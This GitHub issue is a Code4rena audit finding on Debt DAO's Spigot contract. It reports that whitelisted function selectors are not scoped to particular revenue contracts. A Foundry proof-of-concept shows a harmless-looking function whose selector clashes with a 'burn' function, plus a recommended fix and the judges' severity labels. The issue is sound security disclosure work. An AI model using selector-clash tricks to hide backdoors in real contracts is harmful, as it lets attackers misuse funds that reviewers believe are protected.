Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Whitelisted functions aren't scoped to revenue contracts and may lead to unnoticed calls due to selector clashing #312

Open
code423n4 opened this issue Nov 10, 2022 · 7 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue M-07 primary issue Highest quality submission among a set of duplicates satisfactory Finding meets requirement selected for report This submission will be included/highlighted in the audit report sponsor acknowledged Technically the issue is correct, but we're not going to resolve it for XYZ reasons

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L67
https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L14

Vulnerability details

Whitelisted functions in the Spigot contract don't have any kind of association or validation to which revenue contract they are intended to be used. This may lead to inadvertently whitelisting a function in another revenue contract that has the same selector but a different name (signature).

Impact

Functions in Solidity are represented by the first 4 bytes of the keccak hash of the function signature (name + argument types). It is possible (and not difficult) to find different functions that have the same selector.

In this way, a bad actor can try to use an innocent looking function that matches the selector of another function (in a second revenue contract) that has malicious intentions. The arbiter will review the innocent function, whitelist its selector, while unknowingly enabling a potential call to the malicious function, since whitelisted functions can be called on any revenue contract.

Mining for selector clashing is feasible since selectors are 4 bytes and the search space isn't that big for current hardware.

This is similar to the attack found on proxies, documented here https://medium.com/nomic-foundation-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357 and here https://forum.openzeppelin.com/t/beware-of-the-proxy-learn-how-to-exploit-function-clashing/1070

PoC

In the following test the collate_propagate_storage(bytes16) function is whitelisted because it looks safe enough to the arbiter. Now, collate_propagate_storage(bytes16) has the same selector as burn(uint256), which allows a bad actor to call EvilRevenueContract.burn using the operate function of the Spigot.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file Spigot.t.sol.

contract InnocentRevenueContract {
    function collate_propagate_storage(bytes16) external {
        // It's all safe here!
        console.log("Hey it's all good here");
    }
}

contract EvilRevenueContract {
    function burn(uint256) external {
        // Burn the world!
        console.log("Boom!");
    }
}

function test_WhitelistFunction_SelectorClash() public {
      vm.startPrank(owner);
      
      spigot = new Spigot(owner, treasury, operator);
      
      // Arbiter looks at InnocentRevenueContract.collate_propagate_storage and thinks it's safe to whitelist it (this is a simplified version, in a real deploy this comes from the SpigotedLine contract)
      spigot.updateWhitelistedFunction(InnocentRevenueContract.collate_propagate_storage.selector, true);
      assertTrue(spigot.isWhitelisted(InnocentRevenueContract.collate_propagate_storage.selector));
      
      // Due to selector clashing EvilRevenueContract.burn gets whitelisted too!
      assertTrue(spigot.isWhitelisted(EvilRevenueContract.burn.selector));
      
      
      EvilRevenueContract evil = new EvilRevenueContract();
      // ISpigot.Setting memory settings = ISpigot.Setting(90, claimPushPaymentFunc, transferOwnerFunc);
      // require(spigot.addSpigot(address(evil), settings), "Failed to add spigot");
      
      vm.stopPrank();
              
      // And we can call it through operate...
      vm.startPrank(operator);
      spigot.operate(address(evil), abi.encodeWithSelector(EvilRevenueContract.burn.selector, type(uint256).max));
  }

Recommendation

Associate whitelisted functions to particular revenue contracts (for example, using a mapping(address => mapping(bytes4 => bool))) and validate that the selector for the call is enabled for that specific revenue contract in the operate function.

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 10, 2022
code423n4 added a commit that referenced this issue Nov 10, 2022
@c4-judge
Copy link
Contributor

dmvt marked the issue as duplicate of #71

@c4-judge
Copy link
Contributor

dmvt marked the issue as selected for report

@c4-judge c4-judge reopened this Nov 17, 2022
@c4-judge c4-judge added selected for report This submission will be included/highlighted in the audit report 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Nov 17, 2022
@c4-judge
Copy link
Contributor

dmvt changed the severity to 2 (Med Risk)

@c4-judge
Copy link
Contributor

c4-judge commented Dec 6, 2022

dmvt marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory Finding meets requirement label Dec 6, 2022
@C4-Staff
Copy link
Contributor

liveactionllama marked the issue as not a duplicate

@C4-Staff
Copy link
Contributor

liveactionllama marked the issue as primary issue

@c4-sponsor
Copy link

kibagateaux marked the issue as sponsor acknowledged

@c4-sponsor c4-sponsor added the sponsor acknowledged Technically the issue is correct, but we're not going to resolve it for XYZ reasons label Jan 26, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue M-07 primary issue Highest quality submission among a set of duplicates satisfactory Finding meets requirement selected for report This submission will be included/highlighted in the audit report sponsor acknowledged Technically the issue is correct, but we're not going to resolve it for XYZ reasons
Projects
None yet
Development

No branches or pull requests

4 participants